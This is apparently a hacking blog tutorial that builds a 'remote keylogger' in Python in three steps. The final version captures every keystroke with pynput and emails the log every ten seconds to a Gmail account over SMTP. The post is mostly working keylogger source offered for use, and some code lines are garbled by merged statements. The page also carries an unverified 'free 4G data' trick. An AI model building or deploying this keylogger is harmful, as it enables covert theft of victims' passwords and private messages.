Skip to main content

Keylogger using Python



Create Remote KeyLogger using Python

hello everyone we are back with new python program in which we are going to create a remote keylogger for this first we must have to learn what is KeyLogger. 

KeyLogger:

so KeyLogger is a simple software which store every keystrokes by you and store it somewhere and you can access it later anytime when you want to see which key you typed.

Remote KeyLogger:

The only difference between remote keylogger and the keylogger is that user can access the keystrokes only in the same system where the program is running in normal keylogger but in remote keylogger an additional feature is that you can or anyone can access the keystrokes from anywhere.
what remote keylogger actually do is it send the keystrokes file on the server from where anyone can access the keystrokes who has access to the server.

for the video explanation and practical view of how actually a remote keylogger works that we will create on our next blog you can click the link here 


import pynput.keyboard
log = ""

def key_pressed(string):
    global log
    try:
        log = log + str(string.char)
    except AttributeError:
        log = log + str(string)
    print(log)


keyboard_listener = pynput.keyboard.Listener(on_press=key_pressed)
with keyboard_listener:
    keyboard_listener.join()

for the explaination of the code and to learn how this code work visit the link


so after the completion of above code we add a new code for the same where we add some more things in our code for better explanation of all these things you can watch the video here and the code for the video is given below 


import threading
import pynput.keyboard

log = ""

def key_pressed(string):
    global log
    try:
        log = log + str(string.char)
    except AttributeError:
        if string == string.space:
            log = log + " "        elif string == string.backspace:
            log = log + "<--"        else:
            log = log + str(string)


def report():
    global log
    print(log)
    log = ""    timer = threading.Timer(60, report)
    timer.start()


keyboard_listener = pynput.keyboard.Listener(on_press=key_pressed)
with keyboard_listener:
    report()
    keyboard_listener.join()

so the last video is already out you can watch that video here in this video we discussed how to convert our program or keylogger into remote keylogger for better understanding watch the video.

import threading
import smtplib
import pynput.keyboard
log = ""

def key_pressed(string):
    global log
    try:
        log = log + str(string.char)
    except AttributeError:
        if string == string.space:
            log = log + " "        elif string == string.backspace:
            log = log + "<--"        else:
            log = log + str(string)


def report():
    global log, password
    mail("example@gmail.com", "password", log)
    print("mail sent")
    log = ""    timer = threading.Timer(10, report)
    timer.start()


def mail(email, password, message):
    server = smtplib.SMTP("smtp.gmail.com", 587)
    server.starttls()
    server.login(email, password)
    server.sendmail(email, email, message)
    server.quit()


keyboard_listener = pynput.keyboard.Listener(on_press=key_pressed)
with keyboard_listener:
    report()
    keyboard_listener.join() 

Comments

  1. Bhai ye error aa raha h.

    Keyboard_listener = pynput. Keyboard. Listene(on_press=key_pressed)
    AttributeError: module 'pynput. Keyboard' has no attribute 'listener'

    ReplyDelete

Post a Comment

Popular posts from this blog

Is it worth buying Gautam Kumawat Hacking course

   Is it Worth buying Gautam Kumawat Course    so if you just want answer then i must say no, it is never worth it, if you want to know the reason keep reading. so i am talking here about the course of Gautam Kumawat his ads is currently running on different social media including youtube. Ad showing to join the free webinar on hacking. So when you join the webinar first he introduce himself in the way that you started thinking that he is a great  hacker by introducing his achievements and news articles and many more things. But let me tell you that these things is not very big for a skilled hacker, absolutely he is a great hacker but  we are here to talk about his course.  So after the introduction to the basic hacking and on how and what to learn on hacking he will ask you is you will be able to learn all these things within 45 days. Let me tell you that hacking is so vast that no one will be able to teach you complete hacking in jus...

HOW TO GET INTERNET DATA FOR FREE

GET 10 gb 4G DATA FOR FREE Airtel is giving 10 gb 4g data for free to some specific customers selection of customers is random so go and check your luck now  Give missed call to 5999555 from your airtel number and if you are luck you will be rewarded with 10gb of 4g data try this more than one time if not you will not get the data sometimes the server is busy so that you may not get at the same time. Hackers_adda_ Join our channel on telegram Join us on whatsapp Visit our youtube channel and get more tricks